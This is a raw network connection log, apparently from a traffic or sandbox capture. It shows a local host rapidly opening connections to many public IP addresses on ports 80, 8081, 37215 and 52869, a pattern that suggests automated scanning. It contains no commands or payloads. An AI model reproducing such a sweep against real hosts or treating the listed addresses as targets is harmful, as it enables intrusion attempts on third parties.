Jul 20, 2024 23:01:02.282646894 CEST	52869	60044	114.0.228.232	192.168.2.13
Jul 20, 2024 23:01:02.282851934 CEST	53208	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:02.282851934 CEST	53208	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:02.284384012 CEST	56802	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:02.284409046 CEST	60948	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:02.284413099 CEST	60044	52869	192.168.2.13	114.0.228.232
Jul 20, 2024 23:01:02.284497023 CEST	55710	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:01:02.285201073 CEST	39688	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:02.285201073 CEST	39688	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:02.285262108 CEST	41800	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:02.285278082 CEST	50566	52869	192.168.2.13	92.52.112.233
Jul 20, 2024 23:01:02.285320044 CEST	53936	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:02.287710905 CEST	40554	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:02.287930965 CEST	37215	54026	197.146.235.18	192.168.2.13
Jul 20, 2024 23:01:02.288146973 CEST	32940	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:02.288146973 CEST	32940	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:02.288405895 CEST	54026	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:02.288455009 CEST	44970	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:02.288682938 CEST	8081	43164	74.74.185.154	192.168.2.13
Jul 20, 2024 23:01:02.288873911 CEST	80	47698	88.1.204.170	192.168.2.13
Jul 20, 2024 23:01:02.289031982 CEST	43164	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:02.289542913 CEST	8081	60816	60.80.104.64	192.168.2.13
Jul 20, 2024 23:01:02.289589882 CEST	60816	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:02.290899992 CEST	36600	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:02.290899992 CEST	36600	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:02.291038036 CEST	33664	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:02.291670084 CEST	80	53208	88.17.211.31	192.168.2.13
Jul 20, 2024 23:01:02.291723013 CEST	37215	56802	197.96.187.238	192.168.2.13
Jul 20, 2024 23:01:02.291969061 CEST	56802	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:02.292526007 CEST	47698	80	192.168.2.13	88.1.204.170
Jul 20, 2024 23:01:02.292978048 CEST	8081	39688	81.153.29.79	192.168.2.13
Jul 20, 2024 23:01:02.292988062 CEST	80	53936	88.17.211.31	192.168.2.13
Jul 20, 2024 23:01:02.293116093 CEST	53936	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:02.293129921 CEST	52869	50566	92.52.112.233	192.168.2.13
Jul 20, 2024 23:01:02.293159962 CEST	50566	52869	192.168.2.13	92.52.112.233
Jul 20, 2024 23:01:02.293400049 CEST	8081	40554	81.153.29.79	192.168.2.13
Jul 20, 2024 23:01:02.293410063 CEST	80	32940	88.254.193.19	192.168.2.13
Jul 20, 2024 23:01:02.293478012 CEST	37468	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:02.293721914 CEST	50694	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:02.293721914 CEST	50694	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:02.293890953 CEST	37215	44970	41.39.134.254	192.168.2.13
Jul 20, 2024 23:01:02.293972969 CEST	44970	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:02.293977976 CEST	42394	37215	192.168.2.13	98.25.171.48
Jul 20, 2024 23:01:02.294034958 CEST	40554	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:02.294085979 CEST	37992	52869	192.168.2.13	111.37.65.174
Jul 20, 2024 23:01:02.296150923 CEST	8081	36600	118.14.228.51	192.168.2.13
Jul 20, 2024 23:01:02.296403885 CEST	80	33664	88.254.193.19	192.168.2.13
Jul 20, 2024 23:01:02.296461105 CEST	33664	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:02.297424078 CEST	55666	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:02.297424078 CEST	55666	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:02.297630072 CEST	51416	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:02.299550056 CEST	8081	37468	118.14.228.51	192.168.2.13
Jul 20, 2024 23:01:02.299560070 CEST	80	50694	88.66.90.171	192.168.2.13
Jul 20, 2024 23:01:02.299582958 CEST	37215	42394	98.25.171.48	192.168.2.13
Jul 20, 2024 23:01:02.299593925 CEST	37468	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:02.299622059 CEST	42394	37215	192.168.2.13	98.25.171.48
Jul 20, 2024 23:01:02.300095081 CEST	52869	37992	111.37.65.174	192.168.2.13
Jul 20, 2024 23:01:02.300132990 CEST	37992	52869	192.168.2.13	111.37.65.174
Jul 20, 2024 23:01:02.300724030 CEST	58268	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:02.300724030 CEST	58268	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:02.300798893 CEST	56538	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:02.300890923 CEST	53904	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:02.303157091 CEST	8081	55666	130.82.205.50	192.168.2.13
Jul 20, 2024 23:01:02.303174973 CEST	80	51416	88.66.90.171	192.168.2.13
Jul 20, 2024 23:01:02.303210020 CEST	51416	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:02.303994894 CEST	59190	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:02.303994894 CEST	59190	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:02.303994894 CEST	58988	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:02.305274010 CEST	41372	52869	192.168.2.13	81.73.195.232
Jul 20, 2024 23:01:02.305780888 CEST	80	58268	88.193.151.195	192.168.2.13
Jul 20, 2024 23:01:02.305907011 CEST	48182	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:02.305907011 CEST	48182	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:02.305928946 CEST	60066	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:02.306116104 CEST	54392	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:02.306637049 CEST	8081	56538	130.82.205.50	192.168.2.13
Jul 20, 2024 23:01:02.306647062 CEST	37215	53904	157.130.93.53	192.168.2.13
Jul 20, 2024 23:01:02.306884050 CEST	53904	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:02.307584047 CEST	56538	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:02.308666945 CEST	8081	43164	74.74.185.154	192.168.2.13
Jul 20, 2024 23:01:02.308708906 CEST	36130	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:02.308708906 CEST	36130	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:02.308708906 CEST	48902	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:02.309776068 CEST	8081	59190	36.158.2.218	192.168.2.13
Jul 20, 2024 23:01:02.309786081 CEST	8081	60816	60.80.104.64	192.168.2.13
Jul 20, 2024 23:01:02.309794903 CEST	80	58988	88.193.151.195	192.168.2.13
Jul 20, 2024 23:01:02.309886932 CEST	58988	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:02.310535908 CEST	52869	41372	81.73.195.232	192.168.2.13
Jul 20, 2024 23:01:02.310583115 CEST	41372	52869	192.168.2.13	81.73.195.232
Jul 20, 2024 23:01:02.310837030 CEST	37008	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:02.311103106 CEST	48778	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:02.311103106 CEST	48778	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:02.311398029 CEST	80	48182	88.50.196.253	192.168.2.13
Jul 20, 2024 23:01:02.311460972 CEST	48326	37215	192.168.2.13	70.116.57.7
Jul 20, 2024 23:01:02.311594963 CEST	8081	60066	36.158.2.218	192.168.2.13
Jul 20, 2024 23:01:02.311654091 CEST	60066	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:02.312716007 CEST	37215	54392	198.40.74.18	192.168.2.13
Jul 20, 2024 23:01:02.312748909 CEST	54392	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:02.313157082 CEST	8081	42300	74.74.185.154	192.168.2.13
Jul 20, 2024 23:01:02.313812971 CEST	49494	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:02.314197063 CEST	8081	36130	54.117.207.171	192.168.2.13
Jul 20, 2024 23:01:02.314223051 CEST	35258	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:01:02.314223051 CEST	35258	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:01:02.314450979 CEST	40392	52869	192.168.2.13	37.205.184.129
Jul 20, 2024 23:01:02.316193104 CEST	80	48902	88.50.196.253	192.168.2.13
Jul 20, 2024 23:01:02.316262007 CEST	48902	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:02.316407919 CEST	43164	8081	192.168.2.13	74.74.185.154
Jul 20, 2024 23:01:02.316432953 CEST	36140	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:01:02.316648006 CEST	60816	8081	192.168.2.13	60.80.104.64
Jul 20, 2024 23:01:02.316725969 CEST	40140	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:02.316726923 CEST	40140	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:02.316906929 CEST	46646	37215	192.168.2.13	125.124.24.16
Jul 20, 2024 23:01:02.317991018 CEST	8081	37008	54.117.207.171	192.168.2.13
Jul 20, 2024 23:01:02.318001032 CEST	80	48778	88.160.39.161	192.168.2.13
Jul 20, 2024 23:01:02.318018913 CEST	37215	56802	197.96.187.238	192.168.2.13
Jul 20, 2024 23:01:02.318027020 CEST	37215	48326	70.116.57.7	192.168.2.13
Jul 20, 2024 23:01:02.318042040 CEST	37008	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:02.318075895 CEST	48326	37215	192.168.2.13	70.116.57.7
Jul 20, 2024 23:01:02.319161892 CEST	80	49494	88.160.39.161	192.168.2.13
Jul 20, 2024 23:01:02.319391012 CEST	8081	35258	140.251.31.222	192.168.2.13
Jul 20, 2024 23:01:02.319437981 CEST	52074	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:02.319438934 CEST	52074	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:02.319565058 CEST	49494	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:02.319684029 CEST	52869	40392	37.205.184.129	192.168.2.13
Jul 20, 2024 23:01:02.320302963 CEST	40392	52869	192.168.2.13	37.205.184.129
Jul 20, 2024 23:01:02.320427895 CEST	56802	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:02.320640087 CEST	80	46970	88.1.204.170	192.168.2.13
Jul 20, 2024 23:01:02.320820093 CEST	8081	59952	60.80.104.64	192.168.2.13
Jul 20, 2024 23:01:02.320934057 CEST	40854	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:02.321645021 CEST	52958	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:02.321811914 CEST	8081	36140	140.251.31.222	192.168.2.13
Jul 20, 2024 23:01:02.321849108 CEST	36140	8081	192.168.2.13	140.251.31.222
Jul 20, 2024 23:01:02.322455883 CEST	80	40140	88.38.136.61	192.168.2.13
Jul 20, 2024 23:01:02.322792053 CEST	37215	46646	125.124.24.16	192.168.2.13
Jul 20, 2024 23:01:02.322830915 CEST	46646	37215	192.168.2.13	125.124.24.16
Jul 20, 2024 23:01:02.323400021 CEST	47130	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:02.323400021 CEST	47130	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:02.323499918 CEST	36826	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:02.324085951 CEST	57798	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:02.324085951 CEST	57798	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:02.324832916 CEST	55104	52869	192.168.2.13	153.33.151.65
Jul 20, 2024 23:01:02.325047016 CEST	80	53936	88.17.211.31	192.168.2.13
Jul 20, 2024 23:01:02.325324059 CEST	8081	52074	180.244.103.212	192.168.2.13
Jul 20, 2024 23:01:02.325371027 CEST	52869	50566	92.52.112.233	192.168.2.13
Jul 20, 2024 23:01:02.325499058 CEST	47842	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:02.326359034 CEST	58684	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:02.326864004 CEST	37215	44970	41.39.134.254	192.168.2.13
Jul 20, 2024 23:01:02.327754974 CEST	57996	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:02.327754974 CEST	57996	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:02.327954054 CEST	60068	37215	192.168.2.13	197.52.49.166
Jul 20, 2024 23:01:02.328216076 CEST	80	40854	88.38.136.61	192.168.2.13
Jul 20, 2024 23:01:02.328263044 CEST	40854	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:02.328408957 CEST	50566	52869	192.168.2.13	92.52.112.233
Jul 20, 2024 23:01:02.328408957 CEST	44970	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:02.328417063 CEST	53936	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:01:02.328788042 CEST	8081	40554	81.153.29.79	192.168.2.13
Jul 20, 2024 23:01:02.328798056 CEST	8081	52958	180.244.103.212	192.168.2.13
Jul 20, 2024 23:01:02.328849077 CEST	52958	8081	192.168.2.13	180.244.103.212
Jul 20, 2024 23:01:02.329178095 CEST	35076	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:02.329178095 CEST	35076	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:02.330483913 CEST	58706	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:02.331460953 CEST	80	47130	88.26.16.3	192.168.2.13
Jul 20, 2024 23:01:02.331470966 CEST	37215	36826	197.164.134.229	192.168.2.13
Jul 20, 2024 23:01:02.331496954 CEST	35962	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:02.331511021 CEST	36826	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:02.332192898 CEST	8081	37468	118.14.228.51	192.168.2.13
Jul 20, 2024 23:01:02.332202911 CEST	8081	57798	35.194.214.78	192.168.2.13
Jul 20, 2024 23:01:02.332412004 CEST	37468	8081	192.168.2.13	118.14.228.51
Jul 20, 2024 23:01:02.332413912 CEST	40554	8081	192.168.2.13	81.153.29.79
Jul 20, 2024 23:01:02.332906961 CEST	37215	42394	98.25.171.48	192.168.2.13
Jul 20, 2024 23:01:02.332917929 CEST	8081	39688	81.153.29.79	192.168.2.13
Jul 20, 2024 23:01:02.332952976 CEST	80	53208	88.17.211.31	192.168.2.13
Jul 20, 2024 23:01:02.332969904 CEST	52869	37992	111.37.65.174	192.168.2.13
Jul 20, 2024 23:01:02.333235979 CEST	52869	55104	153.33.151.65	192.168.2.13
Jul 20, 2024 23:01:02.333271027 CEST	55104	52869	192.168.2.13	153.33.151.65
Jul 20, 2024 23:01:02.333323002 CEST	52440	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:02.333323002 CEST	52440	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:02.333435059 CEST	58268	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:02.334031105 CEST	57534	52869	192.168.2.13	177.130.98.196
Jul 20, 2024 23:01:02.334080935 CEST	80	47842	88.26.16.3	192.168.2.13
Jul 20, 2024 23:01:02.334125996 CEST	47842	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:02.334266901 CEST	80	51416	88.66.90.171	192.168.2.13
Jul 20, 2024 23:01:02.334872961 CEST	42704	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:02.334872961 CEST	42704	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:02.336087942 CEST	8081	58684	35.194.214.78	192.168.2.13
Jul 20, 2024 23:01:02.336093903 CEST	53150	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:02.336128950 CEST	58684	8081	192.168.2.13	35.194.214.78
Jul 20, 2024 23:01:02.336134911 CEST	80	57996	88.70.58.249	192.168.2.13
Jul 20, 2024 23:01:02.336153030 CEST	37215	60068	197.52.49.166	192.168.2.13
Jul 20, 2024 23:01:02.336357117 CEST	8081	35076	145.216.15.149	192.168.2.13
Jul 20, 2024 23:01:02.336393118 CEST	80	58706	88.70.58.249	192.168.2.13
Jul 20, 2024 23:01:02.336409092 CEST	37992	52869	192.168.2.13	111.37.65.174
Jul 20, 2024 23:01:02.336529970 CEST	51416	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:02.336550951 CEST	60068	37215	192.168.2.13	197.52.49.166
Jul 20, 2024 23:01:02.336550951 CEST	42394	37215	192.168.2.13	98.25.171.48
Jul 20, 2024 23:01:02.336601019 CEST	8081	36600	118.14.228.51	192.168.2.13
Jul 20, 2024 23:01:02.336738110 CEST	80	32940	88.254.193.19	192.168.2.13
Jul 20, 2024 23:01:02.336755991 CEST	8081	35962	145.216.15.149	192.168.2.13
Jul 20, 2024 23:01:02.336766005 CEST	58706	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:02.336920023 CEST	35962	8081	192.168.2.13	145.216.15.149
Jul 20, 2024 23:01:02.338396072 CEST	37215	53904	157.130.93.53	192.168.2.13
Jul 20, 2024 23:01:02.338536978 CEST	80	52440	88.223.235.110	192.168.2.13
Jul 20, 2024 23:01:02.338716030 CEST	37215	58268	125.16.244.96	192.168.2.13
Jul 20, 2024 23:01:02.338897943 CEST	58268	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:02.338970900 CEST	8081	56538	130.82.205.50	192.168.2.13
Jul 20, 2024 23:01:02.339350939 CEST	52869	57534	177.130.98.196	192.168.2.13
Jul 20, 2024 23:01:02.339410067 CEST	57534	52869	192.168.2.13	177.130.98.196
Jul 20, 2024 23:01:02.340004921 CEST	8081	42704	165.105.54.22	192.168.2.13
Jul 20, 2024 23:01:02.340411901 CEST	53904	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:02.340419054 CEST	56538	8081	192.168.2.13	130.82.205.50
Jul 20, 2024 23:01:02.340625048 CEST	43592	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:02.340707064 CEST	80	50694	88.66.90.171	192.168.2.13
Jul 20, 2024 23:01:02.341444969 CEST	80	53150	88.223.235.110	192.168.2.13
Jul 20, 2024 23:01:02.341491938 CEST	53150	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:02.342461109 CEST	50298	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:02.342461109 CEST	50298	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:02.342721939 CEST	57420	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:02.343571901 CEST	42780	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:02.343571901 CEST	42780	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:02.343878984 CEST	80	58988	88.193.151.195	192.168.2.13
Jul 20, 2024 23:01:02.343888044 CEST	52869	41372	81.73.195.232	192.168.2.13
Jul 20, 2024 23:01:02.344409943 CEST	58988	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:02.344409943 CEST	41372	52869	192.168.2.13	81.73.195.232
Jul 20, 2024 23:01:02.344662905 CEST	8081	55666	130.82.205.50	192.168.2.13
Jul 20, 2024 23:01:02.344984055 CEST	51004	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:02.345922947 CEST	43668	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:02.346311092 CEST	8081	43592	165.105.54.22	192.168.2.13
Jul 20, 2024 23:01:02.346353054 CEST	43592	8081	192.168.2.13	165.105.54.22
Jul 20, 2024 23:01:02.346442938 CEST	37558	52869	192.168.2.13	76.239.185.4
Jul 20, 2024 23:01:02.347459078 CEST	8081	60066	36.158.2.218	192.168.2.13
Jul 20, 2024 23:01:02.347680092 CEST	45378	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:02.347680092 CEST	45378	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:02.347734928 CEST	80	50298	88.106.209.195	192.168.2.13
Jul 20, 2024 23:01:02.347824097 CEST	44146	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:02.347956896 CEST	37215	54392	198.40.74.18	192.168.2.13
Jul 20, 2024 23:01:02.348411083 CEST	54392	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:02.348419905 CEST	60066	8081	192.168.2.13	36.158.2.218
Jul 20, 2024 23:01:02.349095106 CEST	39392	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:02.349095106 CEST	39392	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:02.349401951 CEST	80	58268	88.193.151.195	192.168.2.13
Jul 20, 2024 23:01:02.349427938 CEST	37215	57420	41.235.172.174	192.168.2.13
Jul 20, 2024 23:01:02.349447012 CEST	80	48902	88.50.196.253	192.168.2.13
Jul 20, 2024 23:01:02.349456072 CEST	8081	42780	76.22.1.183	192.168.2.13
Jul 20, 2024 23:01:02.349466085 CEST	57420	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:02.349956036 CEST	8081	37008	54.117.207.171	192.168.2.13
Jul 20, 2024 23:01:02.350061893 CEST	46082	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:02.350127935 CEST	80	51004	88.106.209.195	192.168.2.13
Jul 20, 2024 23:01:02.350192070 CEST	51004	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:02.351457119 CEST	40284	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:02.351515055 CEST	37215	48326	70.116.57.7	192.168.2.13
Jul 20, 2024 23:01:02.351761103 CEST	8081	43668	76.22.1.183	192.168.2.13
Jul 20, 2024 23:01:02.351799011 CEST	43668	8081	192.168.2.13	76.22.1.183
Jul 20, 2024 23:01:02.351969004 CEST	52869	37558	76.239.185.4	192.168.2.13
Jul 20, 2024 23:01:02.352041006 CEST	37558	52869	192.168.2.13	76.239.185.4
Jul 20, 2024 23:01:02.352408886 CEST	48326	37215	192.168.2.13	70.116.57.7
Jul 20, 2024 23:01:02.352829933 CEST	37008	8081	192.168.2.13	54.117.207.171
Jul 20, 2024 23:01:02.353111982 CEST	80	48182	88.50.196.253	192.168.2.13
Jul 20, 2024 23:01:02.353128910 CEST	8081	59190	36.158.2.218	192.168.2.13
Jul 20, 2024 23:01:02.353133917 CEST	80	45378	88.204.243.130	192.168.2.13
Jul 20, 2024 23:01:02.353209019 CEST	48902	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:02.353322029 CEST	37215	44146	157.81.89.101	192.168.2.13
Jul 20, 2024 23:01:02.353332996 CEST	55590	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:02.353332996 CEST	55590	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:02.353425026 CEST	37480	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:02.353502035 CEST	44146	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:02.354141951 CEST	36872	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:02.354141951 CEST	36872	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:02.354811907 CEST	80	49494	88.160.39.161	192.168.2.13
Jul 20, 2024 23:01:02.354844093 CEST	8081	39392	91.137.132.92	192.168.2.13
Jul 20, 2024 23:01:02.355469942 CEST	80	46082	88.204.243.130	192.168.2.13
Jul 20, 2024 23:01:02.355506897 CEST	46082	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:02.355634928 CEST	56288	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:02.356117010 CEST	53508	52869	192.168.2.13	144.53.119.5
Jul 20, 2024 23:01:02.356410980 CEST	49494	80	192.168.2.13	88.160.39.161
Jul 20, 2024 23:01:02.356585026 CEST	37766	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:02.356913090 CEST	80	48778	88.160.39.161	192.168.2.13
Jul 20, 2024 23:01:02.356964111 CEST	8081	36130	54.117.207.171	192.168.2.13
Jul 20, 2024 23:01:02.356980085 CEST	8081	40284	91.137.132.92	192.168.2.13
Jul 20, 2024 23:01:02.357002020 CEST	52869	40392	37.205.184.129	192.168.2.13
Jul 20, 2024 23:01:02.357014894 CEST	40284	8081	192.168.2.13	91.137.132.92
Jul 20, 2024 23:01:02.358293056 CEST	59434	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:02.358293056 CEST	59434	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:02.358594894 CEST	42554	37215	192.168.2.13	197.187.132.119
Jul 20, 2024 23:01:02.358838081 CEST	37215	37480	157.252.104.249	192.168.2.13
Jul 20, 2024 23:01:02.358875036 CEST	37480	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:02.359174013 CEST	80	55590	88.78.240.0	192.168.2.13
Jul 20, 2024 23:01:02.359184027 CEST	8081	36872	89.187.123.20	192.168.2.13
Jul 20, 2024 23:01:02.360400915 CEST	41800	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:02.360400915 CEST	41800	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:02.360896111 CEST	8081	35258	140.251.31.222	192.168.2.13
Jul 20, 2024 23:01:02.360924006 CEST	80	56288	88.78.240.0	192.168.2.13
Jul 20, 2024 23:01:02.360953093 CEST	56288	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:02.361017942 CEST	60128	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:02.361747026 CEST	52869	53508	144.53.119.5	192.168.2.13
Jul 20, 2024 23:01:02.361756086 CEST	8081	37766	89.187.123.20	192.168.2.13
Jul 20, 2024 23:01:02.361785889 CEST	53508	52869	192.168.2.13	144.53.119.5
Jul 20, 2024 23:01:02.361789942 CEST	37766	8081	192.168.2.13	89.187.123.20
Jul 20, 2024 23:01:02.362458944 CEST	42696	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:02.363872051 CEST	80	59434	88.22.209.232	192.168.2.13
Jul 20, 2024 23:01:02.364422083 CEST	40392	52869	192.168.2.13	37.205.184.129
Jul 20, 2024 23:01:02.364516020 CEST	37288	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:02.364536047 CEST	57330	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:02.364536047 CEST	57330	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:02.365259886 CEST	37215	42554	197.187.132.119	192.168.2.13
Jul 20, 2024 23:01:02.365288019 CEST	80	40140	88.38.136.61	192.168.2.13
Jul 20, 2024 23:01:02.365302086 CEST	42554	37215	192.168.2.13	197.187.132.119
Jul 20, 2024 23:01:02.365601063 CEST	50664	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:02.365601063 CEST	50664	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:02.365767956 CEST	8081	41800	38.152.182.189	192.168.2.13
Jul 20, 2024 23:01:02.365777969 CEST	8081	41800	38.152.182.189	192.168.2.13
Jul 20, 2024 23:01:02.366137028 CEST	80	60128	88.22.209.232	192.168.2.13
Jul 20, 2024 23:01:02.366179943 CEST	60128	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:02.366223097 CEST	48684	52869	192.168.2.13	183.32.240.14
Jul 20, 2024 23:01:02.367710114 CEST	37215	46646	125.124.24.16	192.168.2.13
Jul 20, 2024 23:01:02.367928982 CEST	8081	42696	38.152.182.189	192.168.2.13
Jul 20, 2024 23:01:02.367964983 CEST	42696	8081	192.168.2.13	38.152.182.189
Jul 20, 2024 23:01:02.368189096 CEST	58018	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:01:02.368429899 CEST	46646	37215	192.168.2.13	125.124.24.16
Jul 20, 2024 23:01:02.368777990 CEST	8081	52074	180.244.103.212	192.168.2.13
Jul 20, 2024 23:01:02.369261980 CEST	51562	8081	192.168.2.13	73.226.236.11
Jul 20, 2024 23:01:02.370099068 CEST	37215	37288	197.199.15.206	192.168.2.13
Jul 20, 2024 23:01:02.370201111 CEST	80	57330	88.165.251.73	192.168.2.13
Jul 20, 2024 23:01:02.370434999 CEST	37288	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:02.370697021 CEST	37702	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:02.370697021 CEST	37702	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:02.370975971 CEST	51784	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:02.371081114 CEST	8081	50664	73.226.236.11	192.168.2.13
Jul 20, 2024 23:01:02.371786118 CEST	50706	8081	192.168.2.13	138.28.105.92
Jul 20, 2024 23:01:02.371787071 CEST	50706	8081	192.168.2.13	138.28.105.92
